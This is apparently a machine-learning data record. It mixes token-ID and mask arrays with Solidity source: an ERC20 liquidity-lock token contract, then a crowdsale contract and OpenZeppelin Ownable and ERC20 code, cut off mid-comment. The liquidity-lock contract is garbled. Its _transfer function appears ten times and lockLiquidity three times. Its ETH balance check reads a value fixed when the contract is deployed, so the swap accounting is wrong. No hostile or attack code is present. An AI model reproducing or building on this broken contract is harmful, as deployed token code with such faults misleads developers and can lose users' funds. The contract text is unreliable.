[ 1, 13112, 23350, 7544, 903, 1846, 8492, 1147, 350, 471, 1758, 403, 358, 1366, 1245, 290, 1222, 578, 3661, 1846, 2545, 518, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 23350, 7544, 24251, 6891, 2679, 12, 2867, 8526, 3778, 6138, 16, 2254, 5034, 8526, 3778, 1147, 2673, 13, 1071, 1338, 5541, 1435, 95, 203, 1377, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 1147, 2673, 18, 2469, 31, 277, 27245, 95, 203, 1850, 4183, 5912, 1265, 12, 2867, 261, 3576, 18, 15330, 3631, 13277, 63, 77, 6487, 2316, 2673, 63, 77, 19226, 203, 1377, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0xBA8784c2429897429b0dBA9E8D25cFE26835b088/sources/contracts/shit.sol
the amount of tokens to lock for liquidity during every transfer, i.e. 100 = 1%, 50 = 2%, 40 = 2.5%
contract ERC20TransferLiquidityLock is ERC20 { using SafeMath for uint256; event LockLiquidity(uint256 tokenAmount, uint256 ethAmount); event BurnLiquidity(uint256 lpTokenAmount); event RewardLiquidityProviders(uint256 tokenAmount); address public uniswapV2Router; address public uniswapV2Pair; uint256 public liquidityLockDivisor; uint256 public liquidityRewardsDivisor; uint256 public transactioncount; function _transfer(address from, address to, uint256 amount) internal { if (transactioncount >= 4){ liquidityLockDivisor = 40; } if (transactioncount >= 20){ liquidityLockDivisor = 25; } if (transactioncount >= 100){ liquidityLockDivisor = 15; } if (transactioncount >= 500){ liquidityLockDivisor = 12; } if (transactioncount >= 600){ liquidityLockDivisor = 10; } if (transactioncount >= 1000){ liquidityLockDivisor = 9; } if (transactioncount >= 1200){ liquidityLockDivisor = 11; } if (liquidityLockDivisor != 0 && from != address(this)) { uint256 liquidityLockAmount = amount.div(liquidityLockDivisor); super._transfer(from, address(this), liquidityLockAmount); super._transfer(from, to, amount.sub(liquidityLockAmount)); transactioncount += 1; } else { super._transfer(from, to, amount); } } function _transfer(address from, address to, uint256 amount) internal { if (transactioncount >= 4){ liquidityLockDivisor = 40; } if (transactioncount >= 20){ liquidityLockDivisor = 25; } if (transactioncount >= 100){ liquidityLockDivisor = 15; } if (transactioncount >= 500){ liquidityLockDivisor = 12; } if (transactioncount >= 600){ liquidityLockDivisor = 10; } if (transactioncount >= 1000){ liquidityLockDivisor = 9; } if (transactioncount >= 1200){ liquidityLockDivisor = 11; } if (liquidityLockDivisor != 0 && from != address(this)) { uint256 liquidityLockAmount = amount.div(liquidityLockDivisor); super._transfer(from, address(this), liquidityLockAmount); super._transfer(from, to, amount.sub(liquidityLockAmount)); transactioncount += 1; } else { super._transfer(from, to, amount); } } function _transfer(address from, address to, uint256 amount) internal { if (transactioncount >= 4){ liquidityLockDivisor = 40; } if (transactioncount >= 20){ liquidityLockDivisor = 25; } if (transactioncount >= 100){ liquidityLockDivisor = 15; } if (transactioncount >= 500){ liquidityLockDivisor = 12; } if (transactioncount >= 600){ liquidityLockDivisor = 10; } if (transactioncount >= 1000){ liquidityLockDivisor = 9; } if (transactioncount >= 1200){ liquidityLockDivisor = 11; } if (liquidityLockDivisor != 0 && from != address(this)) { uint256 liquidityLockAmount = amount.div(liquidityLockDivisor); super._transfer(from, address(this), liquidityLockAmount); super._transfer(from, to, amount.sub(liquidityLockAmount)); transactioncount += 1; } else { super._transfer(from, to, amount); } } function _transfer(address from, address to, uint256 amount) internal { if (transactioncount >= 4){ liquidityLockDivisor = 40; } if (transactioncount >= 20){ liquidityLockDivisor = 25; } if (transactioncount >= 100){ liquidityLockDivisor = 15; } if (transactioncount >= 500){ liquidityLockDivisor = 12; } if (transactioncount >= 600){ liquidityLockDivisor = 10; } if (transactioncount >= 1000){ liquidityLockDivisor = 9; } if (transactioncount >= 1200){ liquidityLockDivisor = 11; } if (liquidityLockDivisor != 0 && from != address(this)) { uint256 liquidityLockAmount = amount.div(liquidityLockDivisor); super._transfer(from, address(this), liquidityLockAmount); super._transfer(from, to, amount.sub(liquidityLockAmount)); transactioncount += 1; } else { super._transfer(from, to, amount); } } function _transfer(address from, address to, uint256 amount) internal { if (transactioncount >= 4){ liquidityLockDivisor = 40; } if (transactioncount >= 20){ liquidityLockDivisor = 25; } if (transactioncount >= 100){ liquidityLockDivisor = 15; } if (transactioncount >= 500){ liquidityLockDivisor = 12; } if (transactioncount >= 600){ liquidityLockDivisor = 10; } if (transactioncount >= 1000){ liquidityLockDivisor = 9; } if (transactioncount >= 1200){ liquidityLockDivisor = 11; } if (liquidityLockDivisor != 0 && from != address(this)) { uint256 liquidityLockAmount = amount.div(liquidityLockDivisor); super._transfer(from, address(this), liquidityLockAmount); super._transfer(from, to, amount.sub(liquidityLockAmount)); transactioncount += 1; } else { super._transfer(from, to, amount); } } function _transfer(address from, address to, uint256 amount) internal { if (transactioncount >= 4){ liquidityLockDivisor = 40; } if (transactioncount >= 20){ liquidityLockDivisor = 25; } if (transactioncount >= 100){ liquidityLockDivisor = 15; } if (transactioncount >= 500){ liquidityLockDivisor = 12; } if (transactioncount >= 600){ liquidityLockDivisor = 10; } if (transactioncount >= 1000){ liquidityLockDivisor = 9; } if (transactioncount >= 1200){ liquidityLockDivisor = 11; } if (liquidityLockDivisor != 0 && from != address(this)) { uint256 liquidityLockAmount = amount.div(liquidityLockDivisor); super._transfer(from, address(this), liquidityLockAmount); super._transfer(from, to, amount.sub(liquidityLockAmount)); transactioncount += 1; } else { super._transfer(from, to, amount); } } function _transfer(address from, address to, uint256 amount) internal { if (transactioncount >= 4){ liquidityLockDivisor = 40; } if (transactioncount >= 20){ liquidityLockDivisor = 25; } if (transactioncount >= 100){ liquidityLockDivisor = 15; } if (transactioncount >= 500){ liquidityLockDivisor = 12; } if (transactioncount >= 600){ liquidityLockDivisor = 10; } if (transactioncount >= 1000){ liquidityLockDivisor = 9; } if (transactioncount >= 1200){ liquidityLockDivisor = 11; } if (liquidityLockDivisor != 0 && from != address(this)) { uint256 liquidityLockAmount = amount.div(liquidityLockDivisor); super._transfer(from, address(this), liquidityLockAmount); super._transfer(from, to, amount.sub(liquidityLockAmount)); transactioncount += 1; } else { super._transfer(from, to, amount); } } function _transfer(address from, address to, uint256 amount) internal { if (transactioncount >= 4){ liquidityLockDivisor = 40; } if (transactioncount >= 20){ liquidityLockDivisor = 25; } if (transactioncount >= 100){ liquidityLockDivisor = 15; } if (transactioncount >= 500){ liquidityLockDivisor = 12; } if (transactioncount >= 600){ liquidityLockDivisor = 10; } if (transactioncount >= 1000){ liquidityLockDivisor = 9; } if (transactioncount >= 1200){ liquidityLockDivisor = 11; } if (liquidityLockDivisor != 0 && from != address(this)) { uint256 liquidityLockAmount = amount.div(liquidityLockDivisor); super._transfer(from, address(this), liquidityLockAmount); super._transfer(from, to, amount.sub(liquidityLockAmount)); transactioncount += 1; } else { super._transfer(from, to, amount); } } function _transfer(address from, address to, uint256 amount) internal { if (transactioncount >= 4){ liquidityLockDivisor = 40; } if (transactioncount >= 20){ liquidityLockDivisor = 25; } if (transactioncount >= 100){ liquidityLockDivisor = 15; } if (transactioncount >= 500){ liquidityLockDivisor = 12; } if (transactioncount >= 600){ liquidityLockDivisor = 10; } if (transactioncount >= 1000){ liquidityLockDivisor = 9; } if (transactioncount >= 1200){ liquidityLockDivisor = 11; } if (liquidityLockDivisor != 0 && from != address(this)) { uint256 liquidityLockAmount = amount.div(liquidityLockDivisor); super._transfer(from, address(this), liquidityLockAmount); super._transfer(from, to, amount.sub(liquidityLockAmount)); transactioncount += 1; } else { super._transfer(from, to, amount); } } function _transfer(address from, address to, uint256 amount) internal { if (transactioncount >= 4){ liquidityLockDivisor = 40; } if (transactioncount >= 20){ liquidityLockDivisor = 25; } if (transactioncount >= 100){ liquidityLockDivisor = 15; } if (transactioncount >= 500){ liquidityLockDivisor = 12; } if (transactioncount >= 600){ liquidityLockDivisor = 10; } if (transactioncount >= 1000){ liquidityLockDivisor = 9; } if (transactioncount >= 1200){ liquidityLockDivisor = 11; } if (liquidityLockDivisor != 0 && from != address(this)) { uint256 liquidityLockAmount = amount.div(liquidityLockDivisor); super._transfer(from, address(this), liquidityLockAmount); super._transfer(from, to, amount.sub(liquidityLockAmount)); transactioncount += 1; } else { super._transfer(from, to, amount); } } function () external payable {} function lockLiquidity(uint256 _lockableSupply) public { require(_lockableSupply <= balanceOf(address(this)), "ERC20TransferLiquidityLock::lockLiquidity: lock amount higher than lockable balance"); require(_lockableSupply != 0, "ERC20TransferLiquidityLock::lockLiquidity: lock amount cannot be 0"); if (liquidityRewardsDivisor != 0) { if (liquidityRewardsDivisor == 1) { _rewardLiquidityProviders(_lockableSupply); return; } uint256 liquidityRewards = _lockableSupply.div(liquidityRewardsDivisor); _lockableSupply = _lockableSupply.sub(liquidityRewards); _rewardLiquidityProviders(liquidityRewards); } uint256 amountToSwapForEth = _lockableSupply.div(2); uint256 amountToAddLiquidity = _lockableSupply.sub(amountToSwapForEth); swapTokensForEth(amountToSwapForEth); uint256 ethReceived = address(this).balance.sub(ethBalanceBeforeSwap); addLiquidity(amountToAddLiquidity, ethReceived); emit LockLiquidity(amountToAddLiquidity, ethReceived); } function lockLiquidity(uint256 _lockableSupply) public { require(_lockableSupply <= balanceOf(address(this)), "ERC20TransferLiquidityLock::lockLiquidity: lock amount higher than lockable balance"); require(_lockableSupply != 0, "ERC20TransferLiquidityLock::lockLiquidity: lock amount cannot be 0"); if (liquidityRewardsDivisor != 0) { if (liquidityRewardsDivisor == 1) { _rewardLiquidityProviders(_lockableSupply); return; } uint256 liquidityRewards = _lockableSupply.div(liquidityRewardsDivisor); _lockableSupply = _lockableSupply.sub(liquidityRewards); _rewardLiquidityProviders(liquidityRewards); } uint256 amountToSwapForEth = _lockableSupply.div(2); uint256 amountToAddLiquidity = _lockableSupply.sub(amountToSwapForEth); swapTokensForEth(amountToSwapForEth); uint256 ethReceived = address(this).balance.sub(ethBalanceBeforeSwap); addLiquidity(amountToAddLiquidity, ethReceived); emit LockLiquidity(amountToAddLiquidity, ethReceived); } function lockLiquidity(uint256 _lockableSupply) public { require(_lockableSupply <= balanceOf(address(this)), "ERC20TransferLiquidityLock::lockLiquidity: lock amount higher than lockable balance"); require(_lockableSupply != 0, "ERC20TransferLiquidityLock::lockLiquidity: lock amount cannot be 0"); if (liquidityRewardsDivisor != 0) { if (liquidityRewardsDivisor == 1) { _rewardLiquidityProviders(_lockableSupply); return; } uint256 liquidityRewards = _lockableSupply.div(liquidityRewardsDivisor); _lockableSupply = _lockableSupply.sub(liquidityRewards); _rewardLiquidityProviders(liquidityRewards); } uint256 amountToSwapForEth = _lockableSupply.div(2); uint256 amountToAddLiquidity = _lockableSupply.sub(amountToSwapForEth); swapTokensForEth(amountToSwapForEth); uint256 ethReceived = address(this).balance.sub(ethBalanceBeforeSwap); addLiquidity(amountToAddLiquidity, ethReceived); emit LockLiquidity(amountToAddLiquidity, ethReceived); } uint256 ethBalanceBeforeSwap = address(this).balance; function rewardLiquidityProviders() external { lockLiquidity(balanceOf(address(this))); } function _rewardLiquidityProviders(uint256 liquidityRewards) private { super._transfer(address(this), uniswapV2Pair, liquidityRewards); IUniswapV2Pair(uniswapV2Pair).sync(); emit RewardLiquidityProviders(liquidityRewards); } function burnLiquidity() external { uint256 balance = ERC20(uniswapV2Pair).balanceOf(address(this)); require(balance != 0, "ERC20TransferLiquidityLock::burnLiquidity: burn amount cannot be 0"); ERC20(uniswapV2Pair).transfer(address(0), balance); emit BurnLiquidity(balance); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory uniswapPairPath = new address[](2); uniswapPairPath[0] = address(this); uniswapPairPath[1] = IUniswapV2Router02(uniswapV2Router).WETH(); _approve(address(this), uniswapV2Router, tokenAmount); IUniswapV2Router02(uniswapV2Router) .swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, uniswapPairPath, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), uniswapV2Router, tokenAmount); IUniswapV2Router02(uniswapV2Router) .addLiquidityETH .value(ethAmount)( address(this), tokenAmount, 0, 0, address(this), block.timestamp ); } function lockableSupply() external view returns (uint256) { return balanceOf(address(this)); } function lockedSupply() external view returns (uint256) { uint256 lpTotalSupply = ERC20(uniswapV2Pair).totalSupply(); uint256 lpBalance = lockedLiquidity(); uint256 percentOfLpTotalSupply = lpBalance.mul(1e12).div(lpTotalSupply); uint256 uniswapBalance = balanceOf(uniswapV2Pair); uint256 _lockedSupply = uniswapBalance.mul(percentOfLpTotalSupply).div(1e12); return _lockedSupply; } function burnedSupply() external view returns (uint256) { uint256 lpTotalSupply = ERC20(uniswapV2Pair).totalSupply(); uint256 lpBalance = burnedLiquidity(); uint256 percentOfLpTotalSupply = lpBalance.mul(1e12).div(lpTotalSupply); uint256 uniswapBalance = balanceOf(uniswapV2Pair); uint256 _burnedSupply = uniswapBalance.mul(percentOfLpTotalSupply).div(1e12); return _burnedSupply; } function burnableLiquidity() public view returns (uint256) { return ERC20(uniswapV2Pair).balanceOf(address(this)); } function burnedLiquidity() public view returns (uint256) { return ERC20(uniswapV2Pair).balanceOf(address(0)); } function lockedLiquidity() public view returns (uint256) { return burnableLiquidity().add(burnedLiquidity()); } }
3,463,992
[ 1, 5787, 3844, 434, 2430, 358, 2176, 364, 4501, 372, 24237, 4982, 3614, 7412, 16, 277, 18, 73, 18, 2130, 273, 404, 9, 16, 6437, 273, 576, 9, 16, 8063, 273, 576, 18, 25, 9, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 3462, 5912, 48, 18988, 24237, 2531, 353, 4232, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 871, 3488, 48, 18988, 24237, 12, 11890, 5034, 1147, 6275, 16, 2254, 5034, 13750, 6275, 1769, 203, 565, 871, 605, 321, 48, 18988, 24237, 12, 11890, 5034, 12423, 1345, 6275, 1769, 203, 565, 871, 534, 359, 1060, 48, 18988, 24237, 10672, 12, 11890, 5034, 1147, 6275, 1769, 203, 203, 565, 1758, 1071, 640, 291, 91, 438, 58, 22, 8259, 31, 203, 565, 1758, 1071, 640, 291, 91, 438, 58, 22, 4154, 31, 203, 203, 565, 2254, 5034, 1071, 4501, 372, 24237, 2531, 7244, 12385, 31, 203, 565, 2254, 5034, 1071, 4501, 372, 24237, 17631, 14727, 7244, 12385, 31, 203, 565, 2254, 5034, 1071, 2492, 1883, 31, 203, 203, 203, 565, 445, 389, 13866, 12, 2867, 628, 16, 1758, 358, 16, 2254, 5034, 3844, 13, 2713, 288, 203, 3639, 309, 261, 7958, 1883, 1545, 1059, 15329, 203, 2868, 4501, 372, 24237, 2531, 7244, 12385, 273, 8063, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 7958, 1883, 1545, 4200, 15329, 203, 2868, 4501, 372, 24237, 2531, 7244, 12385, 273, 6969, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 7958, 1883, 1545, 2130, 15329, 203, 2868, 4501, 372, 24237, 2531, 7244, 12385, 273, 4711, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 7958, 1883, 1545, 6604, 15329, 203, 2868, 4501, 372, 24237, 2531, 7244, 12385, 273, 2593, 31, 203, 3639, 289, 7010, 203, 3639, 309, 261, 7958, 1883, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./PostDeliveryCrowdsale.sol"; contract MintASX is PostDeliveryCrowdsale, Ownable { constructor( uint256 _rate, address payable _wallet, ERC20 _token, address _tokenWallet, uint256 _openingTime, uint256 _closingTime ) Crowdsale(_rate, _wallet, _token) AllowanceCrowdsale(_tokenWallet) TimedCrowdsale(_openingTime, _closingTime) { // solhint-disable-previous-line no-empty-blocks } function extendTime(uint256 newClosingTime) public onlyOwner { _extendTime(newClosingTime); } /** * @dev Extend parent behavior requiring to be within contributing period. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view override onlyWhileOpen { super._preValidatePurchase(beneficiary, weiAmount); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal override { super._deliverTokens(beneficiary, tokenAmount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * 